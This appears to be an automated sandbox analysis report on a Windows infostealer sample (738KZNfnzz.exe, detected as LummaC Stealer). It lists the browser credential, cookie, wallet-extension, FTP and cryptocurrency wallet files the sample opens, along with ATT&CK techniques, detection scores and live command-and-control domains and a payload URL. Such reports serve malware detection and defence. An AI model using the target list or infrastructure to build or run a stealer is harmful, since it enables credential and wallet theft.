Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT			Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT			Jump to behavior

Source: Yara match

File source: Process Memory Space: 738KZNfnzz.exe PID: 1492, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 738KZNfnzz.exe PID: 1492, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
738KZNfnzz.exe	61%	ReversingLabs	Win32.Infostealer.Tinba
738KZNfnzz.exe	100%	Avira	TR/Crypt.TPM.Gen
738KZNfnzz.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exergv	0%	Avira URL Cloud	safe
https://mindhandru.buzz/HX	100%	Avira URL Cloud	malware
https://mindhandru.buzz/msS	100%	Avira URL Cloud	malware
https://mindhandru.buzz/ds	100%	Avira URL Cloud	malware
https://mindhandru.buzz/c	100%	Avira URL Cloud	malware
http://185.215.113.16/&	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apis	100%	Avira URL Cloud	malware
https://mindhandru.buzz/0Z	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	104.21.11.101	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_106.7.dr	false		high
https://duckduckgo.com/chrome_newtab	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_106.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_106.7.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_86.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_106.7.dr	false		high
https://mindhandru.buzz:443/api	738KZNfnzz.exe, 00000000.00000003.2233926754.00000000053CD000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2210817142.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2211032942.00000000053C7000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2211700899.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_106.7.dr	false		high
http://185.215.113.16/off/def.exergv	738KZNfnzz.exe, 00000000.00000002.2560166113.000000000104A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_106.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exer	738KZNfnzz.exe, 00000000.00000002.2560166113.000000000104A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://github.com/gewarren	chromecache_106.7.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	738KZNfnzz.exe, 00000000.00000003.2235595398.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_108.7.dr, chromecache_86.7.dr	false		high
https://www.mozilla.or	738KZNfnzz.exe, 00000000.00000003.2235517462.00000000053F7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/HX	738KZNfnzz.exe, 00000000.00000003.2432591467.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470696289.00000000010B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/ds	738KZNfnzz.exe, 00000000.00000003.2283587904.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284408957.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_106.7.dr	false		high
https://mindhandru.buzz/msS	738KZNfnzz.exe, 00000000.00000003.2283587904.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284408957.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exeeWebKit/537.36	738KZNfnzz.exe, 00000000.00000002.2558018386.00000000006FA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_106.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_108.7.dr, chromecache_86.7.dr	false		high
